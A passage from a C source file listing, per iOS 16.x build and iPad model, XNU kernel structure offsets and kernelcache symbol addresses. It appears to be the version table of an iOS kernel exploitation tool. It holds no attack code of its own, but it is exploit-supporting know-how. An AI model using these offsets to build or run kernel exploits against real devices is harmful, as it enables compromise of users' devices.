0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a925190,\n            .kernelcache__gPhysBase = 0xfffffe00079841b0,\n            .kernelcache__gPhysSize = 0xfffffe00079841b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007982390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9603b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087cc4,\n            .kernelcache__ptov_table = 0xfffffe00078cf3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a95f800,\n            .kernelcache__vm_pages = 0xfffffe00078cc0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a95f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a925190,\n            .kernelcache__gPhysBase = 0xfffffe00079841b0,\n            .kernelcache__gPhysSize = 0xfffffe00079841b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007982390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9603b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe0008087cc4,\n            .kernelcache__ptov_table = 0xfffffe00078cf3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a95f800,\n            .kernelcache__vm_pages = 0xfffffe00078cc0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ce368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a95f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe00080da280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f1208,\n            .kernelcache__gPhysBase = 0xfffffe0007a63fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a63fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a62198,\n            .kernelcache__perfmon_devices = 0xfffffe000aa2f520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a43c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2e990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2e988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f32b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f1208,\n            .kernelcache__gPhysBase = 0xfffffe0007a63fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a63fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a62198,\n            .kernelcache__perfmon_devices = 0xfffffe000aa2f520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a43c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2e990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2e988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f32b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f9288,\n            .kernelcache__gPhysBase = 0xfffffe0007a64100,\n            .kernelcache__gPhysSize = 0xfffffe0007a64100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a622d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa37520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080a45c0,\n            .kernelcache__ptov_table = 0xfffffe00079af188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa36990,\n            .kernelcache__vm_pages = 0xfffffe00079abeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ae128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa36988,\n            .kernelcache__vn_kqfilter = 0xfffffe00080f374c,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:17:58 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8103\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,17\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n\n    // iPad 10th gen //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3c5190,\n            .kernelcache__gPhysBase = 0xfffffff0078400c8,\n            .kernelcache__gPhysSize = 0xfffffff0078400c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e2a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4003b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef41c4,\n            .kernelcache__ptov_table = 0xfffffff0077f3378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3ff800,\n            .kernelcache__vm_pages = 0xfffffff0077f0090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3ff7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f46780,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3cd190,\n            .kernelcache__gPhysBase = 